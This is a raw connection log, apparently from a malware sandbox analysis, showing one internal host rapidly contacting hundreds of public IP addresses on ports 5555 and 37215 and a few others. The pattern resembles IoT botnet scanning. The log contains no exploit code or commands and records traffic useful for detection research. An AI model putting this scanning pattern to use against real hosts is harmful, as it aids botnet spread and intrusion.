Feb 12, 2023 21:24:44.780651093 CET	22272	5555	192.168.2.23	41.243.48.186
Feb 12, 2023 21:24:44.780703068 CET	22272	5555	192.168.2.23	118.62.72.242
Feb 12, 2023 21:24:44.780704021 CET	22272	5555	192.168.2.23	84.132.150.143
Feb 12, 2023 21:24:44.780704021 CET	22272	5555	192.168.2.23	57.163.112.139
Feb 12, 2023 21:24:44.780738115 CET	22272	5555	192.168.2.23	25.89.100.70
Feb 12, 2023 21:24:44.780749083 CET	22272	5555	192.168.2.23	99.49.3.8
Feb 12, 2023 21:24:44.780791998 CET	22272	5555	192.168.2.23	123.106.114.233
Feb 12, 2023 21:24:44.780807972 CET	22272	5555	192.168.2.23	102.128.156.27
Feb 12, 2023 21:24:44.780810118 CET	22272	5555	192.168.2.23	119.246.16.62
Feb 12, 2023 21:24:44.780843973 CET	22272	5555	192.168.2.23	65.112.104.253
Feb 12, 2023 21:24:44.780850887 CET	22272	5555	192.168.2.23	102.190.219.4
Feb 12, 2023 21:24:44.780853987 CET	22272	5555	192.168.2.23	189.124.75.244
Feb 12, 2023 21:24:44.780853987 CET	22272	5555	192.168.2.23	166.208.110.123
Feb 12, 2023 21:24:44.780878067 CET	22272	5555	192.168.2.23	121.114.11.97
Feb 12, 2023 21:24:44.780885935 CET	22272	5555	192.168.2.23	181.99.169.199
Feb 12, 2023 21:24:44.780885935 CET	22272	5555	192.168.2.23	154.25.131.147
Feb 12, 2023 21:24:44.780927896 CET	22272	5555	192.168.2.23	209.19.200.174
Feb 12, 2023 21:24:44.780931950 CET	22272	5555	192.168.2.23	94.155.80.202
Feb 12, 2023 21:24:44.780936003 CET	22272	5555	192.168.2.23	39.21.254.133
Feb 12, 2023 21:24:44.780961990 CET	22272	5555	192.168.2.23	163.95.7.101
Feb 12, 2023 21:24:44.780980110 CET	22272	5555	192.168.2.23	198.212.217.77
Feb 12, 2023 21:24:44.781025887 CET	22272	5555	192.168.2.23	170.56.6.193
Feb 12, 2023 21:24:44.781025887 CET	22272	5555	192.168.2.23	187.248.182.48
Feb 12, 2023 21:24:44.781059980 CET	22272	5555	192.168.2.23	57.233.142.17
Feb 12, 2023 21:24:44.781059980 CET	22272	5555	192.168.2.23	44.145.53.87
Feb 12, 2023 21:24:44.781096935 CET	22272	5555	192.168.2.23	82.67.119.67
Feb 12, 2023 21:24:44.781101942 CET	22272	5555	192.168.2.23	108.25.114.137
Feb 12, 2023 21:24:44.781135082 CET	22272	5555	192.168.2.23	86.218.222.148
Feb 12, 2023 21:24:44.781136990 CET	22272	5555	192.168.2.23	60.45.6.200
Feb 12, 2023 21:24:44.781145096 CET	22272	5555	192.168.2.23	44.14.52.215
Feb 12, 2023 21:24:44.781155109 CET	22272	5555	192.168.2.23	77.227.166.196
Feb 12, 2023 21:24:44.781167030 CET	22272	5555	192.168.2.23	203.205.93.213
Feb 12, 2023 21:24:44.781176090 CET	22272	5555	192.168.2.23	63.167.71.136
Feb 12, 2023 21:24:44.781225920 CET	22272	5555	192.168.2.23	46.80.177.34
Feb 12, 2023 21:24:44.781227112 CET	22272	5555	192.168.2.23	140.110.70.165
Feb 12, 2023 21:24:44.781266928 CET	22272	5555	192.168.2.23	136.58.207.12
Feb 12, 2023 21:24:44.781266928 CET	22272	5555	192.168.2.23	89.254.121.28
Feb 12, 2023 21:24:44.781327963 CET	22272	5555	192.168.2.23	83.113.4.24
Feb 12, 2023 21:24:44.781330109 CET	22272	5555	192.168.2.23	35.157.106.7
Feb 12, 2023 21:24:44.781330109 CET	22272	5555	192.168.2.23	79.173.42.15
Feb 12, 2023 21:24:44.781331062 CET	22272	5555	192.168.2.23	205.31.110.215
Feb 12, 2023 21:24:44.781346083 CET	22272	5555	192.168.2.23	168.23.220.98
Feb 12, 2023 21:24:44.781383038 CET	22272	5555	192.168.2.23	130.75.161.177
Feb 12, 2023 21:24:44.781385899 CET	22272	5555	192.168.2.23	4.80.118.169
Feb 12, 2023 21:24:44.781418085 CET	22272	5555	192.168.2.23	48.225.228.57
Feb 12, 2023 21:24:44.781421900 CET	22272	5555	192.168.2.23	165.97.143.50
Feb 12, 2023 21:24:44.781461954 CET	22272	5555	192.168.2.23	176.18.103.255
Feb 12, 2023 21:24:44.781466961 CET	22272	5555	192.168.2.23	136.254.87.39
Feb 12, 2023 21:24:44.781505108 CET	22272	5555	192.168.2.23	20.96.32.187
Feb 12, 2023 21:24:44.781505108 CET	22272	5555	192.168.2.23	104.221.26.253
Feb 12, 2023 21:24:44.781507015 CET	22272	5555	192.168.2.23	27.60.143.76
Feb 12, 2023 21:24:44.781526089 CET	22272	5555	192.168.2.23	109.7.120.12
Feb 12, 2023 21:24:44.781562090 CET	22272	5555	192.168.2.23	60.42.109.115
Feb 12, 2023 21:24:44.781573057 CET	22272	5555	192.168.2.23	142.213.176.223
Feb 12, 2023 21:24:44.781574965 CET	22272	5555	192.168.2.23	192.214.15.139
Feb 12, 2023 21:24:44.781574965 CET	22272	5555	192.168.2.23	194.193.173.106
Feb 12, 2023 21:24:44.781580925 CET	22272	5555	192.168.2.23	132.241.124.242
Feb 12, 2023 21:24:44.781632900 CET	22272	5555	192.168.2.23	105.224.89.237
Feb 12, 2023 21:24:44.781640053 CET	22272	5555	192.168.2.23	57.20.239.78
Feb 12, 2023 21:24:44.781665087 CET	22272	5555	192.168.2.23	172.90.183.25
Feb 12, 2023 21:24:44.781666994 CET	22272	5555	192.168.2.23	52.242.42.49
Feb 12, 2023 21:24:44.781708002 CET	22272	5555	192.168.2.23	97.79.24.195
Feb 12, 2023 21:24:44.781713963 CET	22272	5555	192.168.2.23	77.115.174.142
Feb 12, 2023 21:24:44.781739950 CET	22272	5555	192.168.2.23	47.140.147.6
Feb 12, 2023 21:24:44.781765938 CET	22272	5555	192.168.2.23	200.243.78.22
Feb 12, 2023 21:24:44.781817913 CET	22272	5555	192.168.2.23	187.124.158.17
Feb 12, 2023 21:24:44.781830072 CET	22272	5555	192.168.2.23	101.156.220.132
Feb 12, 2023 21:24:44.781831026 CET	22272	5555	192.168.2.23	131.70.4.203
Feb 12, 2023 21:24:44.781831026 CET	22272	5555	192.168.2.23	187.31.1.133
Feb 12, 2023 21:24:44.781853914 CET	22272	5555	192.168.2.23	175.60.60.29
Feb 12, 2023 21:24:44.781881094 CET	22272	5555	192.168.2.23	40.125.118.200
Feb 12, 2023 21:24:44.781882048 CET	22272	5555	192.168.2.23	167.144.229.234
Feb 12, 2023 21:24:44.781918049 CET	22272	5555	192.168.2.23	139.142.114.65
Feb 12, 2023 21:24:44.781939030 CET	22272	5555	192.168.2.23	143.9.167.119
Feb 12, 2023 21:24:44.781949043 CET	22272	5555	192.168.2.23	220.124.240.135
Feb 12, 2023 21:24:44.781970978 CET	22272	5555	192.168.2.23	60.77.21.68
Feb 12, 2023 21:24:44.781994104 CET	22272	5555	192.168.2.23	36.237.206.68
Feb 12, 2023 21:24:44.782005072 CET	22272	5555	192.168.2.23	199.94.221.47
Feb 12, 2023 21:24:44.782015085 CET	22272	5555	192.168.2.23	166.16.77.191
Feb 12, 2023 21:24:44.782037020 CET	22272	5555	192.168.2.23	190.209.234.199
Feb 12, 2023 21:24:44.782051086 CET	22272	5555	192.168.2.23	223.125.53.87
Feb 12, 2023 21:24:44.782068968 CET	22272	5555	192.168.2.23	163.189.3.224
Feb 12, 2023 21:24:44.782107115 CET	22272	5555	192.168.2.23	90.156.240.200
Feb 12, 2023 21:24:44.782108068 CET	22272	5555	192.168.2.23	107.116.96.235
Feb 12, 2023 21:24:44.782109976 CET	22272	5555	192.168.2.23	188.220.71.45
Feb 12, 2023 21:24:44.782113075 CET	22272	5555	192.168.2.23	159.153.125.74
Feb 12, 2023 21:24:44.782120943 CET	22272	5555	192.168.2.23	9.23.95.229
Feb 12, 2023 21:24:44.782129049 CET	22272	5555	192.168.2.23	105.113.39.77
Feb 12, 2023 21:24:44.782129049 CET	22272	5555	192.168.2.23	4.225.143.193
Feb 12, 2023 21:24:44.782135010 CET	22272	5555	192.168.2.23	141.64.208.64
Feb 12, 2023 21:24:44.782140017 CET	22272	5555	192.168.2.23	129.221.194.178
Feb 12, 2023 21:24:44.782141924 CET	22272	5555	192.168.2.23	103.94.6.164
Feb 12, 2023 21:24:44.782164097 CET	22272	5555	192.168.2.23	110.55.144.89
Feb 12, 2023 21:24:44.782181978 CET	22272	5555	192.168.2.23	212.230.146.0
Feb 12, 2023 21:24:44.782215118 CET	22272	5555	192.168.2.23	125.17.91.201
Feb 12, 2023 21:24:44.782215118 CET	22272	5555	192.168.2.23	187.111.68.243
Feb 12, 2023 21:24:44.782227993 CET	22272	5555	192.168.2.23	105.104.132.176
Feb 12, 2023 21:24:44.782248020 CET	22272	5555	192.168.2.23	111.62.207.184
Feb 12, 2023 21:24:44.782275915 CET	22272	5555	192.168.2.23	139.103.150.60
Feb 12, 2023 21:24:44.782284975 CET	22272	5555	192.168.2.23	117.50.255.8
Feb 12, 2023 21:24:44.782291889 CET	22272	5555	192.168.2.23	105.241.64.31
Feb 12, 2023 21:24:44.782315969 CET	22272	5555	192.168.2.23	96.98.200.74
Feb 12, 2023 21:24:44.782351017 CET	22272	5555	192.168.2.23	135.78.136.85
Feb 12, 2023 21:24:44.782370090 CET	22272	5555	192.168.2.23	64.125.162.90
Feb 12, 2023 21:24:44.783909082 CET	34992	37215	192.168.2.23	197.193.183.147
Feb 12, 2023 21:24:44.783967972 CET	39440	52869	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:44.797127962 CET	47884	7574	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:44.879971981 CET	60596	81	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:44.888869047 CET	52981	37215	192.168.2.23	41.34.4.253
Feb 12, 2023 21:24:44.888910055 CET	52981	37215	192.168.2.23	149.43.82.168
Feb 12, 2023 21:24:44.888910055 CET	52981	37215	192.168.2.23	41.243.195.190
Feb 12, 2023 21:24:44.888922930 CET	52981	37215	192.168.2.23	41.3.27.169
Feb 12, 2023 21:24:44.888936996 CET	52981	37215	192.168.2.23	197.150.76.243
Feb 12, 2023 21:24:44.888937950 CET	52981	37215	192.168.2.23	41.189.180.73
Feb 12, 2023 21:24:44.888951063 CET	52981	37215	192.168.2.23	157.2.49.14
Feb 12, 2023 21:24:44.888957977 CET	52981	37215	192.168.2.23	197.149.162.87
Feb 12, 2023 21:24:44.888968945 CET	52981	37215	192.168.2.23	197.137.146.140
Feb 12, 2023 21:24:44.888968945 CET	52981	37215	192.168.2.23	157.149.115.120
Feb 12, 2023 21:24:44.888968945 CET	52981	37215	192.168.2.23	41.125.89.66
Feb 12, 2023 21:24:44.888968945 CET	52981	37215	192.168.2.23	157.129.164.67
Feb 12, 2023 21:24:44.888968945 CET	52981	37215	192.168.2.23	157.0.4.100
Feb 12, 2023 21:24:44.888972044 CET	52981	37215	192.168.2.23	197.86.23.49
Feb 12, 2023 21:24:44.888972998 CET	52981	37215	192.168.2.23	86.50.216.105
Feb 12, 2023 21:24:44.888983965 CET	52981	37215	192.168.2.23	41.103.180.148
Feb 12, 2023 21:24:44.888983965 CET	52981	37215	192.168.2.23	41.106.209.58
Feb 12, 2023 21:24:44.888986111 CET	52981	37215	192.168.2.23	197.26.232.102
Feb 12, 2023 21:24:44.888986111 CET	52981	37215	192.168.2.23	41.250.185.193
Feb 12, 2023 21:24:44.889014006 CET	52981	37215	192.168.2.23	197.95.105.102
Feb 12, 2023 21:24:44.889014006 CET	52981	37215	192.168.2.23	197.52.32.76
Feb 12, 2023 21:24:44.889019012 CET	52981	37215	192.168.2.23	157.24.116.62
Feb 12, 2023 21:24:44.889022112 CET	52981	37215	192.168.2.23	157.87.223.142
Feb 12, 2023 21:24:44.889024019 CET	52981	37215	192.168.2.23	41.209.53.85
Feb 12, 2023 21:24:44.889022112 CET	52981	37215	192.168.2.23	200.135.131.245
Feb 12, 2023 21:24:44.889022112 CET	52981	37215	192.168.2.23	197.95.2.166
Feb 12, 2023 21:24:44.889025927 CET	52981	37215	192.168.2.23	157.173.121.217
Feb 12, 2023 21:24:44.889025927 CET	52981	37215	192.168.2.23	41.9.39.121
Feb 12, 2023 21:24:44.889025927 CET	52981	37215	192.168.2.23	197.63.218.21
Feb 12, 2023 21:24:44.889039040 CET	52981	37215	192.168.2.23	41.126.184.14
Feb 12, 2023 21:24:44.889056921 CET	52981	37215	192.168.2.23	102.155.117.123
Feb 12, 2023 21:24:44.889071941 CET	52981	37215	192.168.2.23	157.74.183.32
Feb 12, 2023 21:24:44.889117002 CET	52981	37215	192.168.2.23	176.88.150.153
Feb 12, 2023 21:24:44.889117002 CET	52981	37215	192.168.2.23	41.10.1.98
Feb 12, 2023 21:24:44.889117002 CET	52981	37215	192.168.2.23	157.18.88.233
Feb 12, 2023 21:24:44.889117002 CET	52981	37215	192.168.2.23	41.204.42.226
Feb 12, 2023 21:24:44.889121056 CET	52981	37215	192.168.2.23	85.142.106.248
Feb 12, 2023 21:24:44.889121056 CET	52981	37215	192.168.2.23	41.86.66.170
Feb 12, 2023 21:24:44.889121056 CET	52981	37215	192.168.2.23	157.125.155.117
Feb 12, 2023 21:24:44.889122963 CET	52981	37215	192.168.2.23	157.118.251.107
Feb 12, 2023 21:24:44.889122963 CET	52981	37215	192.168.2.23	157.15.65.85
Feb 12, 2023 21:24:44.889122963 CET	52981	37215	192.168.2.23	41.212.108.154
Feb 12, 2023 21:24:44.889126062 CET	52981	37215	192.168.2.23	41.163.46.47
Feb 12, 2023 21:24:44.889126062 CET	52981	37215	192.168.2.23	157.161.195.136
Feb 12, 2023 21:24:44.889126062 CET	52981	37215	192.168.2.23	157.61.238.153
Feb 12, 2023 21:24:44.889126062 CET	52981	37215	192.168.2.23	157.239.1.134
Feb 12, 2023 21:24:44.889127970 CET	52981	37215	192.168.2.23	117.29.247.217
Feb 12, 2023 21:24:44.889128923 CET	52981	37215	192.168.2.23	41.71.125.50
Feb 12, 2023 21:24:44.889127970 CET	52981	37215	192.168.2.23	157.80.189.108
Feb 12, 2023 21:24:44.889128923 CET	52981	37215	192.168.2.23	157.231.122.4
Feb 12, 2023 21:24:44.889128923 CET	52981	37215	192.168.2.23	41.27.37.18
Feb 12, 2023 21:24:44.889128923 CET	52981	37215	192.168.2.23	197.62.108.19
Feb 12, 2023 21:24:44.889139891 CET	52981	37215	192.168.2.23	64.224.40.237
Feb 12, 2023 21:24:44.889141083 CET	52981	37215	192.168.2.23	115.6.217.137
Feb 12, 2023 21:24:44.889141083 CET	52981	37215	192.168.2.23	157.97.102.1
Feb 12, 2023 21:24:44.889141083 CET	52981	37215	192.168.2.23	197.197.114.142
Feb 12, 2023 21:24:44.889256001 CET	52981	37215	192.168.2.23	184.221.150.19
Feb 12, 2023 21:24:44.889256001 CET	52981	37215	192.168.2.23	197.183.179.60
Feb 12, 2023 21:24:44.889256001 CET	52981	37215	192.168.2.23	157.188.70.61
Feb 12, 2023 21:24:44.889256001 CET	52981	37215	192.168.2.23	157.188.157.120
Feb 12, 2023 21:24:44.889262915 CET	52981	37215	192.168.2.23	164.206.55.139
Feb 12, 2023 21:24:44.889262915 CET	52981	37215	192.168.2.23	157.209.1.59
Feb 12, 2023 21:24:44.889264107 CET	52981	37215	192.168.2.23	157.162.59.65
Feb 12, 2023 21:24:44.889262915 CET	52981	37215	192.168.2.23	222.239.22.180
Feb 12, 2023 21:24:44.889264107 CET	52981	37215	192.168.2.23	157.250.190.175
Feb 12, 2023 21:24:44.889265060 CET	52981	37215	192.168.2.23	17.106.167.32
Feb 12, 2023 21:24:44.889262915 CET	52981	37215	192.168.2.23	197.48.35.14
Feb 12, 2023 21:24:44.889265060 CET	52981	37215	192.168.2.23	157.234.124.58
Feb 12, 2023 21:24:44.889269114 CET	52981	37215	192.168.2.23	185.129.87.29
Feb 12, 2023 21:24:44.889262915 CET	52981	37215	192.168.2.23	197.103.150.174
Feb 12, 2023 21:24:44.889266968 CET	52981	37215	192.168.2.23	197.120.225.18
Feb 12, 2023 21:24:44.889264107 CET	52981	37215	192.168.2.23	121.103.99.228
Feb 12, 2023 21:24:44.889265060 CET	52981	37215	192.168.2.23	169.8.134.5
Feb 12, 2023 21:24:44.889264107 CET	52981	37215	192.168.2.23	50.201.17.255
Feb 12, 2023 21:24:44.889266968 CET	52981	37215	192.168.2.23	157.73.42.4
Feb 12, 2023 21:24:44.889269114 CET	52981	37215	192.168.2.23	197.74.139.50
Feb 12, 2023 21:24:44.889271975 CET	52981	37215	192.168.2.23	41.82.53.39
Feb 12, 2023 21:24:44.889265060 CET	52981	37215	192.168.2.23	23.173.97.120
Feb 12, 2023 21:24:44.889262915 CET	52981	37215	192.168.2.23	41.223.215.30
Feb 12, 2023 21:24:44.889266968 CET	52981	37215	192.168.2.23	197.21.43.247
Feb 12, 2023 21:24:44.889265060 CET	52981	37215	192.168.2.23	197.102.196.230
Feb 12, 2023 21:24:44.889266968 CET	52981	37215	192.168.2.23	53.82.62.173
Feb 12, 2023 21:24:44.889262915 CET	52981	37215	192.168.2.23	41.116.63.150
Feb 12, 2023 21:24:44.889269114 CET	52981	37215	192.168.2.23	41.100.64.27
Feb 12, 2023 21:24:44.889262915 CET	52981	37215	192.168.2.23	197.182.210.70
Feb 12, 2023 21:24:44.889265060 CET	52981	37215	192.168.2.23	157.254.189.169
Feb 12, 2023 21:24:44.889271975 CET	52981	37215	192.168.2.23	157.215.136.155
Feb 12, 2023 21:24:44.889276981 CET	52981	37215	192.168.2.23	41.45.34.121
Feb 12, 2023 21:24:44.889271975 CET	52981	37215	192.168.2.23	197.92.228.92
Feb 12, 2023 21:24:44.889269114 CET	52981	37215	192.168.2.23	197.97.145.51
Feb 12, 2023 21:24:44.889271975 CET	52981	37215	192.168.2.23	197.177.74.135
Feb 12, 2023 21:24:44.889276981 CET	52981	37215	192.168.2.23	197.177.20.173
Feb 12, 2023 21:24:44.889271975 CET	52981	37215	192.168.2.23	157.6.134.131
Feb 12, 2023 21:24:44.889269114 CET	52981	37215	192.168.2.23	197.171.105.127
Feb 12, 2023 21:24:44.889277935 CET	52981	37215	192.168.2.23	165.104.193.47
Feb 12, 2023 21:24:44.889269114 CET	52981	37215	192.168.2.23	41.44.0.112
Feb 12, 2023 21:24:44.889271975 CET	52981	37215	192.168.2.23	197.187.47.247
Feb 12, 2023 21:24:44.889277935 CET	52981	37215	192.168.2.23	170.178.194.211
Feb 12, 2023 21:24:44.889271975 CET	52981	37215	192.168.2.23	157.211.193.183
Feb 12, 2023 21:24:44.889277935 CET	52981	37215	192.168.2.23	41.236.141.227
Feb 12, 2023 21:24:44.889380932 CET	52981	37215	192.168.2.23	197.101.106.214
Feb 12, 2023 21:24:44.889380932 CET	52981	37215	192.168.2.23	193.51.78.54
Feb 12, 2023 21:24:44.889380932 CET	52981	37215	192.168.2.23	41.224.145.153
Feb 12, 2023 21:24:44.889380932 CET	52981	37215	192.168.2.23	41.90.111.21
Feb 12, 2023 21:24:44.889419079 CET	52981	37215	192.168.2.23	157.92.76.3
Feb 12, 2023 21:24:44.889419079 CET	52981	37215	192.168.2.23	197.200.255.107
Feb 12, 2023 21:24:44.889420033 CET	52981	37215	192.168.2.23	140.226.13.238
Feb 12, 2023 21:24:44.889420033 CET	52981	37215	192.168.2.23	197.70.151.11
Feb 12, 2023 21:24:44.889420033 CET	52981	37215	192.168.2.23	74.98.170.176
Feb 12, 2023 21:24:44.889425039 CET	52981	37215	192.168.2.23	157.164.161.217
Feb 12, 2023 21:24:44.889425993 CET	52981	37215	192.168.2.23	41.104.99.224
Feb 12, 2023 21:24:44.889425993 CET	52981	37215	192.168.2.23	24.236.225.250
Feb 12, 2023 21:24:44.889425993 CET	52981	37215	192.168.2.23	122.233.168.18
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	222.27.67.158
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	41.31.53.28
Feb 12, 2023 21:24:44.889434099 CET	52981	37215	192.168.2.23	41.103.229.24
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	157.55.60.6
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	42.125.67.82
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	41.221.42.63
Feb 12, 2023 21:24:44.889434099 CET	52981	37215	192.168.2.23	98.175.67.8
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	137.85.227.54
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	211.173.215.233
Feb 12, 2023 21:24:44.889434099 CET	52981	37215	192.168.2.23	157.197.210.166
Feb 12, 2023 21:24:44.889441013 CET	52981	37215	192.168.2.23	197.144.54.185
Feb 12, 2023 21:24:44.889434099 CET	52981	37215	192.168.2.23	197.66.71.79
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	31.145.179.222
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	41.43.253.184
Feb 12, 2023 21:24:44.889434099 CET	52981	37215	192.168.2.23	157.99.178.10
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	197.128.166.164
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	193.30.10.146
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	41.221.152.111
Feb 12, 2023 21:24:44.889441013 CET	52981	37215	192.168.2.23	197.32.133.171
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	197.241.188.156
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	48.48.33.218
Feb 12, 2023 21:24:44.889434099 CET	52981	37215	192.168.2.23	157.93.44.32
Feb 12, 2023 21:24:44.889441013 CET	52981	37215	192.168.2.23	64.248.20.101
Feb 12, 2023 21:24:44.889432907 CET	52981	37215	192.168.2.23	197.75.194.217
Feb 12, 2023 21:24:44.889441013 CET	52981	37215	192.168.2.23	157.76.65.182
Feb 12, 2023 21:24:44.889441013 CET	52981	37215	192.168.2.23	41.3.53.197
Feb 12, 2023 21:24:44.889512062 CET	52981	37215	192.168.2.23	41.185.202.156
Feb 12, 2023 21:24:44.889512062 CET	52981	37215	192.168.2.23	197.38.69.104
Feb 12, 2023 21:24:44.889512062 CET	52981	37215	192.168.2.23	157.52.171.22
Feb 12, 2023 21:24:44.889512062 CET	52981	37215	192.168.2.23	41.192.133.155
Feb 12, 2023 21:24:44.889512062 CET	52981	37215	192.168.2.23	41.73.46.111
Feb 12, 2023 21:24:44.889512062 CET	52981	37215	192.168.2.23	118.253.214.130
Feb 12, 2023 21:24:44.889512062 CET	52981	37215	192.168.2.23	196.35.162.234
Feb 12, 2023 21:24:44.889512062 CET	52981	37215	192.168.2.23	41.88.203.153
Feb 12, 2023 21:24:44.889527082 CET	52981	37215	192.168.2.23	96.233.17.47
Feb 12, 2023 21:24:44.889527082 CET	52981	37215	192.168.2.23	197.254.217.65
Feb 12, 2023 21:24:44.889527082 CET	52981	37215	192.168.2.23	157.201.111.46
Feb 12, 2023 21:24:44.889527082 CET	52981	37215	192.168.2.23	157.239.192.124
Feb 12, 2023 21:24:44.889527082 CET	52981	37215	192.168.2.23	197.161.119.146
Feb 12, 2023 21:24:44.889527082 CET	52981	37215	192.168.2.23	41.155.2.78
Feb 12, 2023 21:24:44.889527082 CET	52981	37215	192.168.2.23	113.36.108.88
Feb 12, 2023 21:24:44.889560938 CET	52981	37215	192.168.2.23	41.189.150.152
Feb 12, 2023 21:24:44.889560938 CET	52981	37215	192.168.2.23	64.98.140.175
Feb 12, 2023 21:24:44.889560938 CET	52981	37215	192.168.2.23	197.215.4.200
Feb 12, 2023 21:24:44.889560938 CET	52981	37215	192.168.2.23	41.254.179.67
Feb 12, 2023 21:24:44.889560938 CET	52981	37215	192.168.2.23	41.98.21.133
Feb 12, 2023 21:24:44.889560938 CET	52981	37215	192.168.2.23	139.8.240.17
Feb 12, 2023 21:24:44.889560938 CET	52981	37215	192.168.2.23	157.138.214.141
Feb 12, 2023 21:24:44.889604092 CET	52981	37215	192.168.2.23	157.252.87.140
Feb 12, 2023 21:24:44.889604092 CET	52981	37215	192.168.2.23	142.232.160.168
Feb 12, 2023 21:24:44.889604092 CET	52981	37215	192.168.2.23	197.19.7.183
Feb 12, 2023 21:24:44.889604092 CET	52981	37215	192.168.2.23	41.43.122.6
Feb 12, 2023 21:24:44.889604092 CET	52981	37215	192.168.2.23	197.56.223.123
Feb 12, 2023 21:24:44.889604092 CET	52981	37215	192.168.2.23	197.170.70.56
Feb 12, 2023 21:24:44.889606953 CET	52981	37215	192.168.2.23	41.75.24.231
Feb 12, 2023 21:24:44.889604092 CET	52981	37215	192.168.2.23	195.149.175.150
Feb 12, 2023 21:24:44.889604092 CET	52981	37215	192.168.2.23	41.215.44.187
Feb 12, 2023 21:24:44.889606953 CET	52981	37215	192.168.2.23	52.215.122.33
Feb 12, 2023 21:24:44.889606953 CET	52981	37215	192.168.2.23	73.200.46.138
Feb 12, 2023 21:24:44.889606953 CET	52981	37215	192.168.2.23	157.43.119.72
Feb 12, 2023 21:24:44.889606953 CET	52981	37215	192.168.2.23	41.21.61.211
Feb 12, 2023 21:24:44.889610052 CET	52981	37215	192.168.2.23	41.60.18.157
Feb 12, 2023 21:24:44.889606953 CET	52981	37215	192.168.2.23	157.79.3.43
Feb 12, 2023 21:24:44.889611006 CET	52981	37215	192.168.2.23	197.111.246.191
Feb 12, 2023 21:24:44.889611959 CET	52981	37215	192.168.2.23	157.51.118.180
Feb 12, 2023 21:24:44.889606953 CET	52981	37215	192.168.2.23	197.179.39.145
Feb 12, 2023 21:24:44.889614105 CET	52981	37215	192.168.2.23	41.67.32.210
Feb 12, 2023 21:24:44.889611006 CET	52981	37215	192.168.2.23	41.45.227.151
Feb 12, 2023 21:24:44.889610052 CET	52981	37215	192.168.2.23	197.161.172.5
Feb 12, 2023 21:24:44.889606953 CET	52981	37215	192.168.2.23	157.182.201.21
Feb 12, 2023 21:24:44.889614105 CET	52981	37215	192.168.2.23	189.248.3.177
Feb 12, 2023 21:24:44.889611006 CET	52981	37215	192.168.2.23	41.10.124.254
Feb 12, 2023 21:24:44.889611959 CET	52981	37215	192.168.2.23	57.90.6.140
Feb 12, 2023 21:24:44.889611006 CET	52981	37215	192.168.2.23	41.166.193.201
Feb 12, 2023 21:24:44.889610052 CET	52981	37215	192.168.2.23	197.226.81.155
Feb 12, 2023 21:24:44.889611959 CET	52981	37215	192.168.2.23	35.196.138.16
Feb 12, 2023 21:24:44.889611006 CET	52981	37215	192.168.2.23	157.60.76.5
Feb 12, 2023 21:24:44.889611959 CET	52981	37215	192.168.2.23	136.202.110.0
Feb 12, 2023 21:24:44.889611006 CET	52981	37215	192.168.2.23	157.247.14.89
Feb 12, 2023 21:24:44.889614105 CET	52981	37215	192.168.2.23	197.181.47.10
Feb 12, 2023 21:24:44.889611006 CET	52981	37215	192.168.2.23	197.198.21.96
Feb 12, 2023 21:24:44.889614105 CET	52981	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:44.889620066 CET	52981	37215	192.168.2.23	41.92.254.227
Feb 12, 2023 21:24:44.889611006 CET	52981	37215	192.168.2.23	157.74.255.134
Feb 12, 2023 21:24:44.889624119 CET	52981	37215	192.168.2.23	122.62.145.194
Feb 12, 2023 21:24:44.889620066 CET	52981	37215	192.168.2.23	157.47.212.177
Feb 12, 2023 21:24:44.889610052 CET	52981	37215	192.168.2.23	197.17.13.10
Feb 12, 2023 21:24:44.889614105 CET	52981	37215	192.168.2.23	197.71.108.208
Feb 12, 2023 21:24:44.889610052 CET	52981	37215	192.168.2.23	157.57.173.146
Feb 12, 2023 21:24:44.889620066 CET	52981	37215	192.168.2.23	157.28.55.92
Feb 12, 2023 21:24:44.889624119 CET	52981	37215	192.168.2.23	197.104.85.171
Feb 12, 2023 21:24:44.889620066 CET	52981	37215	192.168.2.23	41.37.95.223
Feb 12, 2023 21:24:44.889625072 CET	52981	37215	192.168.2.23	41.113.214.172
Feb 12, 2023 21:24:44.889620066 CET	52981	37215	192.168.2.23	197.67.49.51
Feb 12, 2023 21:24:44.889620066 CET	52981	37215	192.168.2.23	197.201.61.96
Feb 12, 2023 21:24:44.889625072 CET	52981	37215	192.168.2.23	41.200.246.61
Feb 12, 2023 21:24:44.889620066 CET	52981	37215	192.168.2.23	41.27.88.208
Feb 12, 2023 21:24:44.889625072 CET	52981	37215	192.168.2.23	157.160.9.230
Feb 12, 2023 21:24:44.889625072 CET	52981	37215	192.168.2.23	41.133.0.197
Feb 12, 2023 21:24:44.889625072 CET	52981	37215	192.168.2.23	197.169.213.2
Feb 12, 2023 21:24:44.889625072 CET	52981	37215	192.168.2.23	41.163.131.147
Feb 12, 2023 21:24:44.889708042 CET	52981	37215	192.168.2.23	197.50.254.110
Feb 12, 2023 21:24:44.889708042 CET	52981	37215	192.168.2.23	41.65.5.78
Feb 12, 2023 21:24:44.889724016 CET	52981	37215	192.168.2.23	41.113.91.55
Feb 12, 2023 21:24:44.889724016 CET	52981	37215	192.168.2.23	41.154.119.56
Feb 12, 2023 21:24:44.889724016 CET	52981	37215	192.168.2.23	157.66.181.155
Feb 12, 2023 21:24:44.889738083 CET	52981	37215	192.168.2.23	220.58.35.92
Feb 12, 2023 21:24:44.889738083 CET	52981	37215	192.168.2.23	157.116.31.134
Feb 12, 2023 21:24:44.889738083 CET	52981	37215	192.168.2.23	41.148.65.24
Feb 12, 2023 21:24:44.889738083 CET	52981	37215	192.168.2.23	197.225.226.220
Feb 12, 2023 21:24:44.889738083 CET	52981	37215	192.168.2.23	41.141.194.92
Feb 12, 2023 21:24:44.889738083 CET	52981	37215	192.168.2.23	41.53.96.158
